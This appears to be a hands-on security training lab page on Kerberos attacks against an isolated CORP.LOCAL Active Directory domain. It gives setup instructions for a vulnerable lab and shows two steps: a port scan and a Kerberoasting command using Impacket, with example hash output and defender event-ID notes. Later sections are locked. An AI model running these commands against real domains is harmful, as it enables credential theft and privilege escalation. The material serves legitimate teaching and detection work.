Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Active Directory and Windows attacks

Lab · Hard · 3 hoursFree account

Kerberos Attacks

Kerberoast, AS-REP roast, pass tickets, abuse delegation, and forge a Golden Ticket in CORP.LOCAL.

  • kerberos
  • kerberoasting
  • as-rep-roasting
  • golden-ticket
  • active-directory
On this page 16 sections
  1. ·Why Kerberos attacks matter
  2. ·Prerequisites
  3. ·Lab setup
  4. ·Build the target
  5. 1Confirm Kerberos reachability and clock sync
  6. 2Kerberoast — request a service ticket for an SPN account
  7. Locked: Crack the Kerberoast hash offline
  8. Locked: AS-REP roast an account with preauthentication disabled
  9. Locked: Pass-the-Ticket — reuse a cached ticket instead of a password
  10. Locked: Find accounts trusted for delegation
  11. Locked: Understand constrained delegation abuse
  12. Locked: Understand Golden Ticket persistence
  13. Locked: Detection and defence
  14. Locked: Check
  15. Locked: Clean-up
  16. Locked: Command reference

Kerberos is the authentication protocol behind every Active Directory domain. Its weak spots turn a single domain user into Domain Admin and appear in many ransomware intrusions. They include service tickets that crack offline, accounts with preauthentication disabled, and the krbtgt hash. Across an isolated CORP.LOCAL domain you Kerberoast, AS-REP roast, pass a stolen ticket, abuse delegation, and forge a Golden Ticket.

What You'll Learn

  • Kerberoast and AS-REP roast accounts to recover crackable password hashes
  • Reuse a stolen Kerberos ticket without knowing the account's password
  • Find accounts configured for unconstrained or constrained delegation
  • Explain how constrained delegation can be abused to impersonate a privileged user
  • Explain how a Golden Ticket is forged from the krbtgt hash and why it enables long-term persistence
  • Recognise each attack in Windows Security event logs

Why Kerberos attacks matter

Kerberos is the primary authentication protocol in Active Directory. It uses tickets, not passwords, to prove identity, but every ticket starts life encrypted with an account's password hash. A service account with a weak password, an account with preauthentication disabled, or a server trusted for delegation all turn Kerberos into a path to Domain Admin. The krbtgt account signs every ticket in the domain. If an attacker steals its hash, they can forge a valid ticket for any user, at any time. This ticket stays valid even after you reset every user password.

Prerequisites

Lab setup

ItemPurpose
Impacket (GetUserSPNs.py, GetNPUsers.py, getTGT.py, findDelegation.py, getST.py, ticketer.py)Requests, caches, and forges Kerberos tickets
hashcatCracks the roasted hashes offline
smbclient.pyProves a cached ticket works, with no password
A Kali machine with its clock synced to the domainKerberos rejects tickets outside the domain's clock-skew limit

Build the target

KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a domain that you build. The name CORP.LOCAL and the 10.0.12.x addresses below are the example names and addresses of this lab. Replace them with your own domain's name and addresses.

Your lab domain must have these parts:

HostRole
dc01.corp.local (10.0.12.10)Domain Controller of CORP.LOCAL
fs01.corp.local (10.0.12.15)Domain-joined file server
  • A low-privilege domain user alice, password Summer2026!. Use your own password and put it in the commands.
  • A service account svc_sql with a Service Principal Name MSSQLSvc/sql01.corp.local:1433 (the name sql01.corp.local need not be a real host; it only has to appear in the SPN) and a crackable password that is in rockyou.txt, for example Spring2026! (Step 3).
  • A service account svc_backup with Kerberos preauthentication disabled (DONT_REQ_PREAUTH), a crackable password in rockyou.txt, for example Summer2025! (Step 4), and constrained delegation to cifs/fs01.corp.local (Step 6 and 7).
  • The computer account FS01$ set to unconstrained delegation (Step 6).

Build such a domain from free, legal parts. Install an evaluation copy of Windows Server from the Microsoft Evaluation Center (180 days) in virtual machines on your own computer, promote one to a domain controller and join the other, then set the two service accounts and the delegation flags above. Or start from GOAD ("Game of Active Directory"), a deliberately vulnerable Active Directory lab that Orange Cyberdefense publishes on GitHub; its domain names differ from CORP.LOCAL, so map the names in the commands. Take a snapshot of each virtual machine before Step 1.

Authorized-lab only. Run every command in this lab only against a domain that you own or have written permission to test, here 10.0.12.10 and 10.0.12.15. Never run Kerberos attacks against any other domain. Ticket theft and forgery can be criminal offences in many jurisdictions when they happen outside an authorised test or an isolated lab.

Step 1: Confirm Kerberos reachability and clock sync

1

Find the domain controller and sync your clock to it

Confirm the Kerberos, LDAP, and SMB ports are open on the domain controller, then sync your Kali clock to it. Kerberos rejects any ticket request where your clock and the domain controller's clock differ by more than the domain's configured skew, 5 minutes by default.

nmap -p 88,389,445,464 10.0.12.10

Example output:

PORT    STATE SERVICE
88/tcp  open  kerberos-sec
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd5
# Sync your Kali clock to the domain controller
sudo ntpdate 10.0.12.10

Port 88 open confirms this host is a domain controller. Defender's view: a clock mismatch shows up as event ID 4771 (Kerberos preauthentication failed) with failure code 0x25, KRB_AP_ERR_SKEW. A string of these from one source IP, with no successful logon after, is a sign of a misconfigured or attacker-controlled clock.

Step 2: Kerberoast — request a service ticket for an SPN account

2

Find accounts with a Service Principal Name and request their tickets

Any domain user can request a Kerberos service ticket (TGS) for any account that has a Service Principal Name (SPN). The domain controller encrypts that ticket with the service account's own password hash. You do not need any special privilege to ask for it.

GetUserSPNs.py CORP.LOCAL/alice:'Summer2026!' -dc-ip 10.0.12.10 -request -outputfile kerberoast.txt

Example output:

ServicePrincipalName           Name      MemberOf  PasswordLastSet             LastLogon
------------------------------  --------  --------  --------------------------  ----------
MSSQLSvc/sql01.corp.local:1433  svc_sql             2026-08-02 09:14:31.123456

$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...

The line starting $krb5tgs$23$ is the service ticket, still encrypted with svc_sql's password hash. Defender's view: this request is event ID 4769 (a Kerberos service ticket was requested) for MSSQLSvc/sql01.corp.local with ticket encryption type 0x17 (RC4). One account requesting tickets for several different SPNs in a short window, especially outside business hours, is the pattern Microsoft Defender for Identity flags as "Suspected Kerberoasting attack."

Sign in to continue

10 more sections are for signed-in members. It is free: sign in with Google.

Related